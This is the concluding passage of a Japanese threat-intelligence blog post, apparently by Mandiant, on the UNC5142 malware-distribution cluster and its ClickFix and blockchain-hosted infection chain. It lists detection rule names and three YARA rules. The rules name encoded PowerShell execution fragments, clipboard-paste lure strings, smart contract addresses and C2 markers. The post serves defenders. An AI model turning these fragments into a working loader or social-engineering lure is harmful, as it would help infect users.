この 1 年間、UNC5142 はアジリティ、柔軟性、そしてオペレーションの適応と進化に対する関心を示してきました。2024 年半ば以降、この脅威クラスタは、複数のスマート コントラクトの使用、二次ペイロードの AES 暗号化、ランディング ページのホストとしての CloudFlare .dev ページ、ClickFix ソーシャル エンジニアリング技術の導入など、幅広い変更をテストして組み込んでいます。こうした変化は、セキュリティ検出を回避し、分析作業を妨害または複雑化して、攻撃の成功率を高めるための試みである可能性が高いといえます。BNB スマート チェーンや Cloudflare ページなどの正規のプラットフォームを過度に信頼することで、正当性の層が加わり、一部のセキュリティ検出が回避されきる可能性が生じます。感染チェーンの頻繁な更新、一貫した運用テンポ、侵害されたウェブサイトの大量化、過去 1 年半にわたる配布されたマルウェア ペイロードの多様性を考えると、UNC5142 はその活動で一定の成功を収めている可能性が高いといえるでしょう。2025 年 7 月以降、UNC5142 の活動は停止または一時停止しているように見えますが、この脅威クラスタには急成長しているテクノロジーを取り入れる意欲があり、TTP を一貫して進化させる傾向もあるため、検出を回避するべく運用方法を大幅に変更した可能性があります。
謝辞
マルウェアのサービスとしての配布クラスタの追跡に関与した Cian Lynch 氏と、情報窃取型マルウェア サンプルの分析を支援した Blas Kojusner 氏に感謝いたします。また、アトリビューションの取り組みに尽力してくれた Geoff Ackerman 氏、検出機会を提供してくれた Muhammad Umer Khan 氏および Elvis Miezitis 氏にも謝意を表します。効果的なフィードバックと調整をしてくれた Yash Gupta 氏、ブログ投稿に関する貴重な提案をしてくれた Diana Ion 氏に感謝いたします。
検出機会
以下のセキュリティ侵害インジケーター(IOC)と YARA ルールは、Google Threat Intelligence(GTI)のコレクションとルールパックとしても利用できます。
Google Security Operations による検出
Mandiant は、Google SecOps Mandiant Frontline Threats が厳選した検知ルールセットにおいて、関連ルールを公開しています。このブログ投稿で詳しく説明されているアクティビティは、いくつかの特定の MITRE ATT&CK 戦術と技術に関連付けられており、以下のルール名で検出されます。
-
Run Utility Spawning Suspicious Process
-
Mshta Remote File Execution
-
Powershell Launching Mshta
-
Suspicious Dns Lookup Events To C2 Top Level Domains
-
Suspicious Network Connections To Mediafire
-
Mshta Launching Powershell
-
Explorer Launches Powershell Hidden Execution
MITRE ATT&CK
YARA ルール
rule M_Downloader_CLEARSHORT_1 {
meta:
author = "Mandiant"
strings:
$payload_b641 = "ipconfig /flushdns" base64
$payload_b642 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" base64
$payload_b643 = "[System.Diagnostics.Process]::Start(" base64
$payload_b644 = "-ep RemoteSigned -w 1 -enc" base64
$payload_o1 = "ipconfig /flushdns" nocase ascii wide
$payload_o2 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" nocase ascii wide
$payload_o3 = "[System.Diagnostics.Process]::Start(" nocase ascii wide
$payload_o4 = "-ep RemoteSigned -w 1 -enc" nocase ascii wide
$htm_o1 = "title: \"Google Chrome\","
$htm_o2 = "PowerShell"
$htm_o3 = "navigator.clipboard.writeText"
$htm_o4 = "document.body.removeChild"
$htm_o5 = "downloadButton.classList.add('downloadButton');"
$htm_o6 = "getUserLanguage().substring(0, 2);"
$htm_o7 = "translateContent(userLang);"
$htm_b64_1 = "title: \"Google Chrome\"," base64
$htm_b64_2 = "PowerShell" base64
$htm_b64_3 = "navigator.clipboard.writeText" base64
$htm_b64_4 = "document.body.removeChild" base64
$htm_b64_5 = "downloadButton.classList.add('downloadButton');" base64
$htm_b64_6 = "getUserLanguage().substring(0, 2);" base64
$htm_b64_7 = "translateContent(userLang);" base64
condition:
filesize<1MB and (4 of ($payload_b*) or 4 of ($payload_o*) or 4 of ($htm_b*) or 4 of ($htm_o*))
}rule M_Downloader_CLEARSHORT_2 {
meta:
author = "Mandiant"
strings:
$htm1 = "const base64HtmlContent"
$htm2 = "return decodeURIComponent(escape(atob(str)));"
$htm3 = "document.body.style.overflow = 'hidden';"
$htm4 = "document.body.append(popupContainer);"
$htm5 = "Object.assign(el.style, styles);"
$htm_b64_1 = "const base64HtmlContent" base64
$htm_b64_2 = "return decodeURIComponent(escape(atob(str)));" base64
$htm_b64_3 = "document.body.style.overflow = 'hidden';" base64
$htm_b64_4 = "document.body.append(popupContainer);" base64
$htm_b64_5 = "Object.assign(el.style, styles);" base64
condition:
filesize<1MB and 5 of ($htm*)
}rule M_Downloader_CLEARSHORT_3
{
meta:
author = "Mandiant"
strings:
$smart_contract1 = "9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53" nocase
$smart_contract2 = "8FBA1667BEF5EdA433928b220886A830488549BD" nocase
$smart_contract3 = "53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA" nocase
$smart_contract2_hex = /38(46|66)(42|62)(41|61)31363637(42|62)(45|65)(46|66)35(45|65)(64|44)(41|61)343333393238(42|62)323230383836(41|61)383330343838353439(42|62)(44|64)/
$smart_contract1_hex = /39313739(64|44)(64|44)(61|41)38(42|62)323835303430(42|62)(66|46)333831(41|61)(41|61)(42|62)(62|42)38(61|41)31(66|46)34(61|41)31(62|42)38(63|43)3337(45|65)(64|44)3533/
$smart_contract3_hex = /3533(66|46)(64|44)3534(66|46)3535(43|63)3933(66|46)39(42|62)(43|63)(43|63)(41|61)343731(63|43)(44|64)30(43|63)(63|43)(62|42)(61|41)(42|62)(43|63)33(41|61)(63|43)(62|42)(64|44)33(45|65)34(41|61)(41|61)/
$enc_marker1 = "4834734941444748553263432f34315662572f624"
$enc_marker2 = "4834734941465775513263432f2b3257775772"
$c2_marker_capcha = "743617074636861"
$c2_marker_https = "68747470733a2f2f72"
$c2_marker_json = "\"jsonrpc\":\"2.0\",\"id\":\""
$str1 = /Windows\s*\+\s*R/ nocase
$str2 = /CTRL\s*\+\s*V/ nocase
$str3 = "navigator.clipboard.writeText" nocase
$str4 = "captcha" nocase
$str5 = ".innerHTML" nocase
$payload1 = ".shop" base64
$payload2 = "[scriptblock]::Create(" nocase
$payload3 = "HTA:APPLICATION" nocase
condition:
filesize < 15MB and (any of ($smart_contract*) or any of ($enc_marker*) or all of ($c2_marker*) or all of ($str*) or all of ($payload*))
}ホストベースの IOC
ネットワーク ベースの IOC
ブロックチェーン ベースの IOC
ウォレット アドレス
スマート コントラクト グループ
-Mandiant、Google Threat Intelligence グループ、Mandiant サービス
-執筆者: Mark Magee、Jose Hernandez、Bavi Sadayappan、Jessa Valdez
